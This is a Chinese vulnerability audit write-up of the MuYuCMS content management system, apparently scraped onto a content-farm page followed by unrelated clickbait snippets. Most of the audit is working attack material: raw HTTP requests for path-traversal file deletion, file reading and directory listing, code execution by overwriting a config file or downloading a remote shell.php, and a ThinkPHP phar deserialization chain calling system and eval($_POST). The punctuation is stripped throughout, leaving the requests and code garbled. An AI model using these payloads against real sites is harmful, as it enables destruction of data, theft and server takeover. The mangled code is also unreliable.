应用办公生活信息教育商业
投稿投诉
商业财经
汽车智能
教育国际
房产环球
信息数码
热点科技
生活手机
晨报新闻
办公软件
科学动态
应用生物
体育时事

木鱼CMS系统审计小结

  MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。
  环境搭建
  我们利用phpstudy来搭建环境,选择Apache2。4。39MySQL5。7。26php5。6。9,同时利用PhpStorm来实现对项目的调试
  漏洞复现分析任意文件删除
  我们在网站的根目录下创建一个文件test。txt用来校验文件是否被删除
  任意文件删除一
  漏洞复现
  登录后台后构造数据包POSTadmin。phpaccessoryfilesdel。htmlHTTP1。1Host:test。testContentLength:55Accept:XRequestedWith:XMLHttpRequestUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36ContentType:applicationxwwwformurlencoded;charsetUTF8Origin:http:test。testReferer:http:test。testadmin。phpaccessoryfilelist。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676530347;PHPSESSIDae5mpn24ivb25od6st8sdoouf7;muyufirst1676531718;XDEBUGSESSIONPHPSTORMConnection:closefiledeluruploadfiles。gitignore。。。。。。。。test。txt
  文件被成功删除
  漏洞分析
  appadmincontrollerAccessory::filesdel
  通过参数filedelurl拼接得到要删除文件的地址,利用unlink函数删除文件,中间没有做任何校验。
  【帮助网安学习,需要网安学习资料关注我,私信回复资料免费获取】
  网安学习成长路径思维导图
  60网安经典常用工具包
  100SRC漏洞分析报告
  150网安攻防实战技术电子书
  最权威CISSP认证考试指南题库
  超1800页CTF实战技巧手册
  最新网安大厂面试题合集(含答案)
  APP客户端安全检测指南(安卓IOS)任意文件删除二
  漏洞复现
  登录后台后构造数据包POSTadmin。phpaccessorypicdel。htmlHTTP1。1Host:test。testContentLength:54Accept:XRequestedWith:XMLHttpRequestUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36ContentType:applicationxwwwformurlencoded;charsetUTF8Origin:http:test。testReferer:http:test。testadmin。phpaccessoryfilelist。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676530347;PHPSESSIDae5mpn24ivb25od6st8sdoouf7;muyufirst1676531718;XDEBUGSESSIONPHPSTORMConnection:closepicdeluruploadfiles。gitignore。。。。。。。。test。txt
  漏洞分析
  appadmincontrollerAccessory::picdel
  通过参数picdelur拼接得到要删除图片的地址,利用unlink函数删除文件,中间没有做任何校验任意文件删除三
  漏洞复现
  登录后台后构造数据包GETeditorindex。php?adeletenodetypefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close
  漏洞分析
  AppControllerController::deletenode
  AppCoreFile::deleteFile
  AppControllerController::beforeFun
  对传入的path判断了是否在合法的文件域中,但没有对传入的path没有进行跨目录的校验就删除了文件任意文件删除四
  漏洞复现POSTadmin。phpdatabasesqldel。htmlHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:closeContentType:applicationxwwwformurlencodedContentLength:19name。。。。test。txt
  漏洞分析
  appadmincontrollerDatabase::sqldel
  获取post传入的参数name
  利用delFile函数删除文件任意文件删除五
  漏洞复现
  登录后台后构造数据包POSTadmin。phpupdatermdirr。html?dirnameF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testContentLength:0Accept:UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36XRequestedWith:XMLHttpRequestOrigin:http:test。testReferer:http:test。testadmin。phpsystemupdate。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:PHPSESSIDd3bt6cnt59c2dfq7pshva5ffc1;muyucheckaccre1676878715;muyufirst1676879341Connection:close
  漏洞分析
  appadmincontrollerUpdate::rmdirr
  传入的参数dirname经过简单的判断,然后调用unlink函数去删除任意文件读取
  漏洞复现
  登录后构造数据包GETeditorindex。php?agetfilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。test。txtHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close
  成功读取文件信息
  漏洞分析
  AppControllerController::getfile
  列目录
  漏洞复现
  登录后构造数据包GETeditorindex。php?adirlistdirpathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplate。。。。。。。。。。。。。。。。HTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close
  成功将根目录下的信息显露出来
  漏洞分析
  AppControllerController::dirlist
  AppCoreJstree::getDir
  AppControllerController::beforeFun
  对传入的dirpath判断了是否在合法的文件域中,但没有对传入的dirpath没有进行跨目录的校验就打印出目录信息任意代码执行任意代码执行一
  漏洞复现
  登录后构造数据包,读取config文件内容GETeditorindex。php?agetfilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplatemembertempuserconfig。phpHTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close
  此时需要获取的并不是文件内容,而是更改之后文件的key
  复制文件校验码替换到下面数据包中GETeditorindex。php?asavefilefilepathF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplatemembertempuserconfig。phpfilekey5e9c862ce52986e5437652d707c7c82ffilecontentlt;?phpphpinfo();php?HTTP1。1Host:test。testCacheControl:maxage0UpgradeInsecureRequests:1Origin:http:test。testUserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9Referer:http:test。testeditorindex。phpAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:muyucheckaccre1676601856;PHPSESSID94241isj4cqrr0nefhv9rvs1b2;XDEBUGSESSIONPHPSTORMConnection:close
  访问文件在网站上对应的位置,发现代码已经被成功执行
  也可以执行其他代码
  漏洞分析
  AppControllerController::savefile
  savefile有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改
  AppCoreFile::setFileContent
  任意代码执行二
  漏洞复现
  登录后构造数据包POSTadmin。phpupdategetFile。html?urlhttp:127。0。0。1:8000shell。phpsavedirF:ToolsphpstudyproWWWMuYuCMSmasterMuYuCMSmastertemplateHTTP1。1Host:test。testContentLength:0Accept:UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36XRequestedWith:XMLHttpRequestOrigin:http:test。testReferer:http:test。testadmin。phpsystemupdate。htmlAcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:PHPSESSIDd3bt6cnt59c2dfq7pshva5ffc1;muyucheckaccre1676878715;muyufirst1676879341;XDEBUGSESSIONPHPSTORMConnection:close
  指定远程url下载文件,下载的文件保存到指定位置
  访问指定的文件目录,发现代码被成功执行
  漏洞分析
  appadmincontrollerUpdate::getFile
  通过url指定获取远程文件的地址,savedir指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞phar反序列化
  漏洞复现lt;?phpnamespacethink{abstractclassModel{protectedappend;privatedata;functionconstruct(){thisappend〔aaaa〔123456〕〕;thisdata〔aaaanewRequest()〕;}}classRequest{protectedparam;protectedhook;protectedfilter;protectedconfig;functionconstruct(){thisfiltersystem;thisconfig〔varajax〕;thishook〔visible〔this,isAjax〕〕;thisparam〔calc〕;}}}namespacethinkprocesspipes{usethinkmodelPivot;classWindows{privatefiles;publicfunctionconstruct(){thisfiles〔newPivot()〕;}}}namespacethinkmodel{usethinkModel;classPivotextendsModel{}}namespace{usethinkprocesspipesWindows;unlink(shell。jpg);pharnewPhar(shell。phar);pharstartBuffering();pharsetStub(GIF89a。lt;?phpHALTCOMPILER();?);objectnewWindows();objecthahaeval(POST〔a〕);;objecthahaphpinfo();;pharsetMetadata(object);pharaddFromString(a,a);添加要压缩的文件pharstopBuffering();echo(base64encode(serialize(newWindows())));}?
  生成phar序列化数据包修改后缀,启动python服务器
  构造数据包下载远程的文件到本地GETpublicstaticadminstaticueditorphpcontroller。php?actioncatchimagesource〔〕http:127。0。0。1:8000shell。pngHTTP1。1Host:test。testUpgradeInsecureRequests:1UserAgent:Mozilla5。0(WindowsNT10。0;Win64;x64)AppleWebKit537。36(KHTML,likeGecko)Chrome85。0。4183。83Safari537。36Accept:texthtml,applicationxhtmlxml,applicationxml;q0。9,imageavif,imagewebp,imageapng,;q0。8,applicationsignedexchange;vb3;q0。9AcceptEncoding:gzip,deflateAcceptLanguage:zhCN,zh;q0。9Cookie:XDEBUGSESSIONPHPSTORMConnection:close
  执行phar序列化
  http:test。testadmin。phpupdatermdirr。html?dirnamephar:。publicuploadimages1676882763141961。png
  注意事项
  在最开始,获取远程图片的时候,一直出现错误提示链接contentType不正确通过在代码中查找,定位到问题位置
  校验了ContentType的值经过不断的调试仍然发现不了问题出现在哪
  但是发现通过phpstudy默认的apache服务是没问题的通过抓包对比发现一个是ContentType另一个是Contenttype
  我直接修改了python的源代码将其中的小写t替换成了大写T
  漏洞分析
  appadmincontrollerUpdate::rmdirr
  通过协议绕过了对文件名的检测然后触发了反序列漏洞
  MuYuCMSmasterpublicstaticadminstaticueditorphpcontroller。php

推荐9道特别好吃的家常菜,每天换着花样做,孩子喜欢吃大家好这里是阳阳说美食,家长做的饭菜孩子总是没胃口不吃怎么办,不要慌今天阳阳分享给大家9道开胃家常菜,孩子喜欢吃,做法简单营养美味学会了在家给孩子试着做一下!蒜蓉香辣虾食……旅者的视野读万卷书,行万里路是很多人的梦想,无论是读书还是旅行,人们总是会受到种种条件限制。于是,人们求助于阅读旅行文学,作为次优选择,以满足自己对大千世界的好奇心。市面上不缺少图文并茂……库里的灵动,老詹的刚猛,最是人间留不住,朱颜辞镜花辞树北京时间2月10号,勇士85111大比分输给爵士,九连胜被终结。在勇士一贯强势的第三节,我一直在期待库里突然来一串三分,然后分数迅速拉近,可惜,没有!自科比退役后,又被库……31省份的小目标,都是多少?来源:中国新闻网12日,随着天津提出2022年经济增长目标,目前31个省区市2022年GDP增长目标均已公布。其中,有9个省份的经济增长目标在7及以上。9省份经济增……橄辉无球粒陨石这是本人寻找到的橄辉无球粒陨石,重量:1160克,切面可以清晰看见这块橄辉无球粒陨石堆积岩特征明显。橄辉属无球粒陨石,矿物学上属于超基性岩浆岩,主要由超镁、铁矿等矿物组成……肥强首秀就花式吊打!哈登和恩比德的挡拆有多厉害?与恩比德挡拆,面对换防的全明星中锋卡尔安东尼唐斯,变相、撤步、三分出手三分命中!来自詹姆斯哈登!费城球迷15天的等待是值得的。詹姆斯哈登在费城76人队的首秀是一场完美风暴……记忆中的早餐甜米酒我的童年是在农村长大的,在那里我度过了快乐的,无忧无虑的童年时光,那里有我许多美好回忆,让我回忆起来至今仍记忆犹新,回忆起来至今仍觉熟悉,温暖,亲切和感动。我的童年记忆中有很多……未能入选的75大球星遗珠觉得谁最遗憾?荣誉都不比利拉德差德里克罗斯是最年轻的MVP,罗斯比赛非常具有观赏性,他的拉杆上篮,变相不减速。主要荣誉:一次MVP,一次最佳阵容一阵,三届全明星。克莱汤普森拥有顶级三分和防守,得手手段炸……宇宙中五彩缤纷的美丽星城我国古代劳动人民,为了辨别方向,确定季节,对星空进行了详细的观察,早在周朝的典籍中就载有斗柄指东,天下皆春;斗柄指南,天下皆夏;斗柄指西,天下皆秋;斗柄指北,天下皆冬。这……太般配!中国奥运双冠王公开漂亮女友,年仅26岁就事业爱情双丰北京时间3月5日,跳水奥运冠军谢思埸通过社交媒体晒出与漂亮女友的甜蜜合照,引发网友们强烈关注。从照片可以看到,谢思埸公开了女友的正脸照,郎才女貌般配般配,有爱的画面让网友……油烟机买华帝还是老板好?哪个性价比高?谁更值得入手?这个问题不太好说,因为这两个品牌在定位上还是有些微的不同,从油烟机的排名来讲,老板排第二,那么第三则就是华帝,所以两个品牌的竞争还是比较强烈的。老板这个品牌是十分有影响力……美丽不分年龄!73岁尹汝贞穿衣简单,气质赛过同龄人每个人都会老去,或干瘦、或发福,而不管什么状态,你都需要拥有这两样东西,一是外在的优雅,二是内在的涵养。有人说人老了会瘦得没气质,反而不好看,尹汝贞奶奶却与之相反,即使很……
游戏王杂志附赠卡甘尼许巨象Vjump(2000年7月号)出现在附属卡中的最上级地属性兽战士族怪兽。拥有可怕的力量,因体形臃肿,行走时会发生地震。它是七级兽战士怪物中唯一的普通怪物。除了《七星……现在的你多少岁,有多少存款?97年。存款198万8千多一点。还有三个月应该200万了吧。还有一些资产配置和借出去10万左右,利息10个点。不过收回来有困难,无所谓。钱都是家里给的遗产。孤……道教神灵二十八宿道教神灵:二十八宿文高建锁晋城是山西省一个文化底蕴极其深厚的城市,旅游资源很是丰富,玉皇庙就是其中一个景点,它是古泽州地区规模最大、影响最广的道观,也是如今华北地区……谁最受伤?2022年手机CMOS芯片砍单8亿颗来源:EET电子工程专辑,谢谢根据ICInsights的数据,由于智能手机销量下滑、手机摄像头增长低迷以及全球经济疲软,CMOS图像传感器的销量预计将出现13年来的首次下……黑暗过去是黎明亲爱的同学们:你们好!虽然我知道你们过得并不好,但还是要隔空问候,希望这声问候所蕴含的微弱能量,能够无比巧妙地产生蝴蝶效应,比如我将一粒小石子扔进松花江,产生一波涟……这些男宝宝名字,每个都响亮霸气不论是在生活中还是在职场中,给男宝宝起一个霸气响亮的名字,既可以符合男生的特质,也能够给人留下更深刻的印象。所以男宝宝名字不仅讲究可读性,也注重霸气响亮、寓意好。男宝宝的名字霸……英超争四悬念再起!利物浦失去马内竞争力下降,曼联或会成为黑马作为欧洲足坛的第一联赛,英超竞争的激烈程度不是其它联赛可以相提并论的,尤其前四的争夺可以说是每个赛季的主要看点,往往要到最后一轮比赛结束后才能分出胜负。英超争四之所以如此重要,……10位被遗忘的老牌歌手,如今风光不再,有人靠一首歌吃一辈子八九十年代的乐坛,是个神仙打架的地方,无论是港台还是内地,都涌现出了很多好的音乐人。这些音乐人创作出了很多经典的音乐,有的可能就那么一两首,但足可以用其狂吹一辈子了。……世外美桃源,中国第一村,新疆旅行必去打卡点,四季都美在华夏文明的中国,有许许多多的村落都是极美的。而禾木村则有中国第一村的美名。禾木村是新疆维吾尔自治区布尔津县下辖的一座村庄。位于新疆布尔津县喀纳斯湖畔,是图瓦人的集中生活居住地……建议中老年人,三伏天白酒别乱喝,牢记3不加,早懂早受益最近气温飙升,三伏天也快到了,全国进入烧烤模式。白天是热得心烦气躁,也只有晚上下班后,才能三五好友出来吃吃夜市,几盘小菜,一瓶好酒,分外惬意。可你知道吗?这夏天喝白……不管你是奔几的女人,这4种面料都要少穿,廉价没气质不说还难受年龄不是硬伤,品质才是关键。别再搞错了时尚和气质的重点,年龄可不背这锅不管是奔几的女人,拥有高雅的气质,总会让你在人群中脱颖而出。而气质的外衣就是衣服的面料,来看看你所选……iOS15。6RC版正式推送果粉先别急着升级,看首批用户怎么随着时间的推移,市场中已经传出了很多关于苹果iPhone的消息,无论是iPhone14系列的爆料还是iOS系统新版本的推出,都让用户产生了不同的期待值。只不过和新机相比,……
友情链接:易事利快生活快传网聚热点七猫云快好知快百科中准网快好找文好找中准网快软网